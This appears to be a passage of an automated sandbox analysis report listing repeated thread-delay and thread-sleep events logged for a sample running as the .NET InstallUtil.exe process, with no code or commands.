Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599327
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598671
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598343
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596921
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596812
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596374
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596149
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595827
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595499
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594625

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3206	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6618	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6901	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2919	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2996
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 432	Thread sleep count: 3206 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 432	Thread sleep count: 6618 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599764s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599434s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599326s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599217s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598442s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598197s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -598060s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597952s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597624s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -597043s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596928s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596577s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596249s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595921s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595692s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595450s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595269s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594858s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594749s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594638s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594308s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594198s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -594093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5760	Thread sleep time: -593984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6964	Thread sleep count: 6901 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6964	Thread sleep count: 2919 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598237s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598116s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597657s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597532s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597407s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6948	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep count: 32 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -29514790517935264s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7132	Thread sleep count: 2996 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599874s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7132	Thread sleep count: 6860 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599764s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599546s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599327s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599218s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -599109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598999s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598890s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598671s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598562s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598343s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598234s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598124s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -598015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597796s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597576s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597468s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597140s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -597028s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596921s >= -30000s
